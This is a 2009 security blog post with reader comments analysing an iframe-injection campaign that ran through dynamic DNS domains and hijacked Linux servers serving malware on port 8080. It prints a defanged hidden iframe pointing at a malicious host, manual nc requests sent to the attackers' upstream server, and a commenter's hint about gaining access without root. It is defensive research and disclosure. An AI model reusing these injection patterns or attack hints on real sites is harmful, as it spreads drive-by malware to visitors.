msgbartop
Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
msgbarbottom
Loading site search ...

Dynamic DNS and Botnet of Zombie Web Servers

   11 Sep 09   Filed in Website exploits

It’s always interesting to watch how malware attacks evolve over time.

Since this spring, when I started to distinguish it from other attacks, this hidden iframe injection attack has always been among “leaders”.

  • They started with gambling-related .cn domains (like cheapslotplay .cn).
  • They introduced several new domains names every day so that you couldn’t hardcode them in your scanners. At this point, my records contain several hundred domains used in this attack.
  • They also changed campaign names (parameters they specify in iframe URLs) regularly: mozila, banner, cocacola, pepsi, open, reopen, income.
  • They used port 8080 (presumably to game dumb traffic filters that only inspect traffic on port 80).
  • In the end of July, they started to use 3-letter .ru, .pl, .in and .at domains (e.g. x3y .ru, f7y .at, q5n .in, a3j .pl).
  • And, finally, if you follow me on Twitter, you know that this week I started to notice 3rd-level domains registered with free dynamic DNS services.

Here are the details.

As always, it began when I started to notice a new pattern in domains of hidden iframes in Unmask Parasites reports.

hidden iframe detected by Unmask Parasites

When I checked the HTML code of affected web pages, everything looked exactly like in previous incarnations of this attack, except for 3rd-level .org, .com and .net domains.

<body><i frame src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden"></iframe>

Dynamic DNS hosting providers

Soon, I realized that all those domains were registered with free dynamic DNS hosting providers: DynDNS.com and No-IP.com. These sites allow anyone to register any third-level domain for free and point it to any static or dynamic IP-address. This service is mainly used to assign a meaningful human-readable address to a home computer instead so that people from outside could easily access it (e.g. home website, game server or web camera) by name rather than by hard-to-remember IP-address (that may change).

These services provide a variety of second-level domains that can be used to construct free third-level domains. I.e. at DynDNS you can register my3rdleveldomain.dyndns.org, or my3rdleveldomain.blogdns.org, or my3rdleveldomain.homeunix.org, or choose any other second-level domain from a list of 88 available domains. At No-IP.com they provide a choice of 21 base domains (e.g. no-ip.org, redirectme.net, servecounterstrike.com, zapto.org, etc.).

For this attack, hackers registered many third-level domains (at this moment I have a list of 140+ such domains) that point to web servers that host malicious content.

Update: I’ve sent my lists to both DynDNS and NO-IP. Thanks to prompt reaction of Chris Widner (DynDNS) 100+ malicious domains from my list and a lot more that I didn’t know of no longer resolve. I hope NO-IP reaction will follow.

Update 2 (Sept 12, 2009): NO-IP has also blocked malicious domains shortly after I had posted the previous update.

However since hackers add new domain names every hour, 100+ new hostnames need to be blocked. I’ve sent a few updates to both services, but they haven’t yet responded and I guess we’ll need to wait until Monday when they get back to work.

Where do all these domains point to?

Using free third-level domain instead of real second-level domains (after all they are all disposable and used for a few days only) is not the only innovation. Another serious innovation is where all those domains point to.

Previously, all their domains pointed to the same servers. The IP addresses of the servers changed over time but all malicious domains were configured to point to the same set of 5 IPs (each domain has 5 A recods).

Now most of the third-level domains point to different IP addresses. Currently active domains from my list point to 77 unique IPs all over the world (mainly in the USA and France).

Compromised dedicated servers

When I checked the IPs, I discovered that all of them are dedicated (or virtual dedicated) servers that host legitimate web sites. They serve legitimate content from port 80 and malicious from port 8080. It looks like all those servers have been hacked and server admins are unaware that hackers managed to setup a webserver on port 8080 that serves malicious content. If your are an admin of a Linux server, it’s time to check if have an unauthorized web server working on port 8080.

On all hacked servers, the web server that works on port 8080 identifies itself as nginx while the legitimate web servers on port 80 are different versions of Apache. If it’s really nginx (why not? it’s a lightweight webserver), hackers should be able download source files, compile and install nginx – something that requires shell access with root privileges.

Moreover, each server works as a load balancer for other malicious servers used in this attack. When you try to load any iframe URL, you get redirected to a random server (again third-level domain and port 8080) from a list of other 10 currently active servers. This list gets updated every hours on all servers.

Botnet of zombie web servers

What we see here is a long awaited botnet of zombie web servers! A group of interconnected infected web servers with common control center involved in malware distribution. To make things more complex, this botnet of web servers is connected with the botnet of infected home computer (the malware they serve infects computers and turns them into zombies).

Who knows what else can those infected web server do? They may be involved in SPAM distribution, in DDOS attacks, etc. They can do just everything normal zombie computers do, but more effectively thanks to better Internet connection.

However, having a web server as a zombie has obvious downsides for hackers. Once the IP of the server is known, it’s only a matter of time to shut it down – they are all on networks of reputable hosting providers that can switch off the server if its admin fail to remove the malicious service. On the other hand, server admins are usually much more experienced in terms of security than an average computer user, so the chances that a dedicated server gets hacked are significantly less than the chances that a home computer gets infected with some virus. At the same time, the number of dedicated servers, I believe, is also significantly less than the number of home computers connected to the Internet.

So, if hackers want this attack to be active for more than just a week, they need to either have a “portfolio” of thousands of already hacked servers waiting for their turn, or they know about some exploitable vulnerability in Linux (all servers I checked were Linux-based) so that they can easily turn any number of servers into zombies. So if this is not just a proof-of-concept attack that will cease to exist in a week, there is a real problem that server admins must address ASAP!

Passwords hypothesis

It just occurred to me that hackers may simple have root passwords from those hacked servers. After all this iframe attack uses stolen FTP passwords to inject hidden iframes into legitimate web sites. So the chances are local computers of the server administrators were infected with spyware that steals FTP credentials, and the admins were dumb enough to use the root account for (S)FTP operations and even dumber to store their root passwords in FTP program settings. Having a database of thousands of stolen FTP credentials, hackers just need to search for entries with username “root“. And if the law of big numbers works, they should be able to find quite a few root credentials.

To web hosting providers

If you are a hosting provider that offers dedicated or virtual dedicated servers, you might want to contact me to find out if any of your servers is on my list of compromised hosts (some IPs belong to major players like Soflayer, ThePlanet, Dreamhost, Lunar Pages, Rackspace, Media Temple, 1&1 Internet, etc.) It would be great if we can find out what happened to those servers.

Update (Sept 12, 2009): I’ve sent my list of IPs to StopBadware.org and they promised to notify hosting providers.

Call for information

I’ve only started to investigate this attack and this article is based on the scarce information I managed to retrieve from the URLs of malicious iframes. This is not enough to have the whole picture. I hope administrators of compromised servers can share their findings.

If you know any additional information about the attack, or think that my assumptions are flawed, please post your comments here.

Similar posts:

Reader's Comments (44)

  1. |

    If you have a list of DynDNS.com hostnames that are being used in this manner, please feel free to contact us and let us know. Of course we’ll need to be able to verify that the hostnames are violating our AUP (which isn’t always easy with some botnets), but once we are able to confirm that, we’ll be more than happy to take action. Email abuse@dyndns.com with the subject “Attn: Chris Widner Ref: Botnet”

    Chris Widner
    Customer Support Manager
    Dyn Inc.
    http://www.dyndns.com

    • |

      Thanks Chris,

      That was fast! I’ve sent you my list and a few minutes later 100+ domains no longer resolve. I’m sure you’ve just saved many web surfers.

  2. |

    Oh Jesus, I hope they don’t find out about afraid.org

  3. |

    Do they really need root? It IS running on port 8080. And couldn’t they just drop pre-compiled binaries of nginx?

    • |

      Absolutely nginx doesn’t depend on anything that’s not extremely likely to be present on a server that runs apache,

      It may even be possible to install and run it with only a webserver exploit (dodgy PHP page?), and no privilege escalation at all.

  4. |

    If you haven’t already please submit your list of hostnames to abuse@no-ip.com or create a ticket at http://www.no-ip.com/ticket/ and someone over there will take care of this. I’ve told them to look for your email.

    Dan Durrer
    No-IP.com
    http://www.no-ip.com/

    • |

      Hi Dan,

      I’ve sent an email with 60+ domains to abuse@no-ip.com about 4 hours ago.

      I’ve just checked – most of them (but not all) don’t resolve any more. Thanks.

      I’ve also noticed that during the last few hours new domains contain about 80-90% of No-IP domains. Previously the share of No-IP domains was about 40%.

      Anyway, I’ll send an updated list again.

  5. |

    [...] Dynamic DNS and Botnet of Zombie Web Servers たとえば、UnmaskParasite で取り上げられている a86x . homeunix . org ですが、 [...]

  6. |

    That’s a pretty impressive find. Were you surprised that the hacked web servers were all Linux-based rather than Windows? Are Linux admins generally more or less sophisticated when securing their web servers against hacking / malware?

  7. |

    Linux admins think their Server is Secure, so they dont care much about security.

    • |

      As a professional GNU/Linux administrator of a good number of servers exposed to the internet, I can tell you that security is first, second, and third on my priority list. The same is true for all the other administrators I work with, and most others I know.

  8. |

    Hey,

    I’m a developer for Nmap, and one of my scripts checks Web servers for a specific file (like /forum/index.php, /arcsight/logo.gif, etc). This works well if there’s a particular file on the server that can be identified. It can be a script, image, directory, etc, as long as it returns a 200 status code.

    Can you tell me:
    a) If this is the case with this attack,
    b) What the file is, and
    c) Provide me with a couple IPs for infected hosts that I could test

    If you could help me out, that’d be awesome! Feel free to use the email I associated with the comment.

    Thanks,
    Ron

  9. |

    “If you know any additional information about the attack, or think that my assumptions are flawed, please post your comments here.”

    I work for a small computer service company and I found a spyware laden Windows XP machine that was different for any other spyware laden box I have ever seen. A rootkit was hiding a very large cache of files with obviously named malware names: 2b5bbackdzor1941,1z545troj1449,1f485hreat97571z etc.

    Now what kind of botnet herder or master blackhat names his files like this? So I copy some of the files and upload them to virustotal.com and NONE of them came back identified by ANY of the anti-virus scans!

    This is as far as I got. Who has time to figure this out? “Nuke it from orbit” is what Microsoft says you should do and they are right!

    • |

      When you encounter new malware that’s undetectable on a Windows machine, you should be submitting it to MAPP

      Just a tip.

  10. |

    If it’s really nginx (why not? it’s a lightweight webserver), hackers should be able download source files, compile and install nginx – something that requires shell access with root privileges.

    Try ./configure --prefix=/home/user/nginx && make && make install

    You don’t need root access, only an outdated CMS with an exploit available. Get access, upload a shellscript and enjoy.

    Good job anyway.

    • |

      Good point!

      When I wrote about root privilegies, I thought that normally server admins block all unused ports (e.g. via iptables) and you can’t start a web server on port 8080 without sufficient privilegies.

      However, if my guess about stolen root passwords is correct, the server is not well maintained and traffic on unused ports is not blocked.

      • |

        “privileged” ports are all ports up to 1024 on any unix. So if you don’t take extra care (and if you use ftp for example, you dont) its not a problem for joe user to start any daemon on any unused port above that mark.

        I highly doubt you need a compiler on the target platform for this attack – simply upload the package via ftp, ping the main web server on a prepared cgi script to fire up the placed scripts and that’s it.

        T.

  11. |

    I am the developer of The Cleaner malware removal software. Do you have samples of the malware being served you can share?

    • |

      Hi Daniel,

      I didn’t try to download the malware. In this attack they won’t let you download the binary unless they are sure the client is vulnerable.

      I’m working with website hacks, so the malware was out of the scope of my investigation.

  12. |

    [...] web servers with [a] common control center involved in malware distribution,” Sinegubko wrote here. “To make things more complex, this botnet of web servers is connected with the botnet of [...]

  13. |

    [...] difference between the 100-node Linux machine cluster that Sinegubko found and real Windows botnets, which in 2006 averaged 20,000 PCs, is that Windows, which is insecure by [...]

  14. |

    [...] di una dimostrazione tecnica, eseguita su server Apache con diverse distribuzioni di Linux. Ma, ammette, può anche darsi che la rete sia più grande, e lui ne abbia individuato solo una [...]

  15. |

    I have occasionally checked servers that I found in my ssh logs, and pretty often the victims show “welcome to new domain” or similar things.
    You can get vserver (possibly with apache running, and confixx or whatever installed), firewall disabled. People would install their software (say a game server) and never look at what is there, let alone configure it.
    Looking at “real servers” (with reasonable rdns) I encountered, the majority seem to be mail servers

  16. |

    [...] Dynamic DNS and Botnet of Zombie Web Servers | Unmask Parasites. Blog. [...]

  17. |

    [...] last Friday a story appeared on my radar that seemed interesting – it was about a botweb (a botnet made up of web browsers) utilizing Linux [...]

  18. |

    [...] Sinegubko stelt dat als de aanval langer effectief dan een week wil zijn, de aanvallers over duizenden al gehackte [...]

  19. |

    Hi,

    at the same time you did your analysis (9/11) the guys from abuse.ch did theirs (but with nicer pictures):

    http://www.abuse.ch/?p=1801

    They have a list of over 1500+ affected sites in dynamic DNS services:

    http://www.abuse.ch/downloads/dyndns_driveby.txt

    Maybe worth for the dynamic DNS providers who read this to check/clean their databases…

    • |

      Thanks for this link.

      Maybe worth for the dynamic DNS providers who read this to check/clean their databases…

      You can check the first comment – DynDNS support was quick to address the problem. And No-IP followed a couple of hours later.

  20. |

    [...] Tags:botnet, malware, server Security onderzoeker Denis Sinegubko heeft een botnet ontdekt dat niet bestaat uit geïnfecteerde pc’s, maar uit Linux servers. Het bewuste botnet werd [...]

  21. |

    [...] quién hizo el hallazgo, escribe en su blog que hasta ahora cada una de las máquinas infectadas está siendo usada como un dedicado para [...]

  22. |

    Denis,

    I’m wondering about your HTML code. You have “<i frame" (with a space between "i" and "frame"). Is this correct? Was it meant to be an element (italic)? Or was it meant to be an element (without the space)?

    Feel free to delete this post if you wish.

    • |

      Sorry, this doesn’t have a “preview”

      The last two questions were meant to read:

      Was it meant to be an _i_ element (italic)? Or was it meant to be an _iframe_ element (without the space)?

    • |

      Dave,

      It should read iframe

      I intentionally inserted spaces to make the HTML readable, but invalid. If I post valid malicious code some anti-virus tools would generate false alarms.

  23. |

    It seems to be able to compile and run nginx on port 8080 without root privileges, for example through vulnerable php script.

    Privileges of root are only required only for binding to port < 1024.

    Our hosting was hacked last year with similar technique, we check logs and found IPs of bastards from Brasilia, who downloaded and compiled SMTP relay and then sent many SPAM via our server.

    • |

      … and they even can download complied binary of nginx and run it.

  24. |

    Hi Denis,

    I completed my Nmap script that I had talked about previously. It seems to work against the servers I found, and hasn’t generated any false positives (I don’t really expect it to). You can find my writeup here:

    http://www.skullsecurity.org/blog/?p=340

    I naturally linked your post from my blog, the Nmap CHANGELOG, the script documentation, etc. :)

    Ron

  25. |

    i’m also a web developer and not only were my clients sites hacked, but also my own personal homepage which is on a shared hosting plan from the same russian shared linux company. all started about a week ago. email me if you need any more info.

  26. |

    Hey Denis,
    Thanks for letting us know about the suspected IP addresses. Here is what I can share about what I have found so far.

    Contrary to what I have been hearing, these rogue web servers do seem to be sending out malicious content. I have seen some requests with 0 content-len responses, but some requests for /index.php have been sending back the typical obfuscated payloads.

    Also, there have been requests for pdf documents that were also served back. I can only guess that they are playing with various attack vectors and the recent adobe vulns was the vector here.

    Unfortunately, I was not capturing enough of the packet to reassemble the entire malicious payload, but here is a snippit of what is returned

    snippit

    Here is a list of the top requests that we saw coming across.

    gets

    I will get back to you probably this weekend after I get a chance to analyze everything.

    -Chad

    • |

      I have more specifics on a victim host.

      It was a root level compromise (not speculating on weather it was simply ftp credentials or a priv escalation) . The nginx process was running as root


      root 8299 0.0 0.0 12932 1104 ? Ss 12:28 0:00 nginx: master process /usr/local/nginx/sbin/nginx
      root 18708 0.0 0.1 16016 3860 ? S 16:00 0:00 \_ nginx: worker process
      root 18712 0.0 0.1 16016 4020 ? S 16:00 0:00 \_ nginx: worker process

      Platform:

      root@xxx [~]# uname -a
      Linux xxxxxxxxxxxxxx 2.6.24-23-xen #1 SMP Mon Jan 26 03:09:12 UTC 2009 x86_64 x86_64 x86_64 GNU/Linux

      root@xxx [~]# cat /etc/redhat-release
      CentOS release 5.3 (Final)

      Here is the most significant information I obtained:

      http://pastebin.com/m49d3f0c5


      proxy_pass http:// mdvhost . com:4480;

      Looks like the compromised servers are only proxies. In effect, the network is just a global load balancer?


      >nc mdvhost . com 4480
      GET /ts/in.cgi?open4 HTTP/1.1
      Referer: http://xxxxxx:8080/ts/in.cgi?open4
      Accept-Language: zh-cn,zh-hk,zh-tw,en-us
      User-Agent: Sosospider+(+http://help.soso.com/webspider.htm)
      Accept: */*
      Host: xxxxxxx
      Connection: Keep-Alive
      Accept-Encoding: gzip

      HTTP/1.1 200 OK
      Server: nginx
      Date: Mon, 21 Sep 2009 19:26:19 GMT
      Content-Type: text/plain
      Connection: close
      Content-Length: 166

      Error: can't open redirects.log file (open4)
      Possible reasons:
      1) cron is not working (read FAQ)
      2) there is no urls in this scheme
      3) there is no such scheme or user

      Not sure what is going on there. But here is what we are used to seeing:


      nc mdvhost . com 4480
      GET /cache/readme.pdf HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
      Host: xxxxxxx
      Accept: */*

      HTTP/1.1 200 OK
      Server: nginx
      Date: Mon, 21 Sep 2009 19:33:59 GMT
      Content-Type: text/html
      Connection: close
      X-Powered-By: PHP/5.1.6
      Expires: 0
      Pragma: no-cache
      Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
      Cache-Control: private
      Content-Length: 123

      0000000000000000000000000000000000000000
      0000000000000000000000000000000000000000
      0000000000000000000000000000000000000000

      Interesting. I will continue to dig around and provide what I find.

      typedeaF

  27. |

    One more update. We have positively identified malicious content being uploaded via FTP with the Russian nginx:8080 iframes. So this would support the theory that possibly PC based malware is harvesting FTP credentials similar to the original Ibiza/Download.ject malware.

    -Chad Wilson (typedeaF)

  28. |

    [...] http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/ and http://news.cnet.com/8301-10789_3-10040669-57.html and [...]

  29. |

    Most of them have /ts/in.cgi?(affiliateId) or just /in.cgi?(number) in the request url, most are connected with “Obodovsky Ivan Sergeevich”, who is listed as registrator not only for most of the proxy install sites, but also for the primary url “admin-click.com”, that can be accessed by overflowing the GET parameter of in.cgi
    Also it seems that many high-profile russian sites were infected by it, including www .pravda.ru